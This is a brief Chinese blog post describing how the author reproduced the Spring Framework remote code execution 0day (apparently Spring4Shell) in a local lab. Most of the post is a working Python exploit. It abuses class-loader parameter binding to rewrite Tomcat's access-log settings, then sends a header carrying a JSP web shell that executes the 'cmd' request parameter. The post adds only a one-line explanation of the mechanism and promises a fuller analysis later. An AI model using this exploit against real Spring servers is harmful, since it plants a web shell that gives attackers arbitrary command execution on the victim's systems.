Spring-Rec 0day漏洞

起因经过

这个洞在29号漏出后，我反正是摆烂的，没怎么动手。
后面在31号才拿到环境，然后利用作者写的文章进行复现。

1. 简单的idea Spring项目环境搭建，坑点是有几个依赖包没有，以及JDK17不支持漏洞。
2. 实现原理：通过Bean对象的生成中有缓存class方式，然后通过这个利用点，构造log日志调用链，从而达到rec的目的。
3. exp
   

   from time import sleep
   
   import requests
   
   test = ["class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bfuck%7Di",
           "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp",
           "class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/yunoon/Downloads/spring"
           "-rce-war-fa55cb4b11516784574d06948d53ac90f8430f50/out/artifacts/stupidRumor_war_exploded",
           "class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp",
           "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="]
   
   url = "http://localhost:8084/stupidRumor_war_exploded/index?"
   
   url2 = "http://localhost:8084/stupidRumor_war_exploded/index?"
   for i in range(5):
       url2 = url2 + "&" + test[i]
   print(url2)
   res = requests.get(url=url2)
   print(res.status_code)
   
   header = {
       'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 "
                     "Safari/537.36",
       'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
       'fuck': '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
       'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
       'Accept-Encoding': "gzip, deflate",
       'Connection': "close",
       'Upgrade-Insecure-Requests': "1",
       'Sec-Fetch-Dest': "document",
       'Sec-Fetch-Mode': "navigate",
       'Sec-Fetch-Site': "none",
       'Sec-Fetch-User': "?1",
   }
   #
   url1 = "http://localhost:8084/stupidRumor_war_exploded/fuckUUUU"
   res = requests.get(url=url1, headers=header)
   print(res.status_code)
   
   

4. 后面后空会分析原理的，咕咕咕。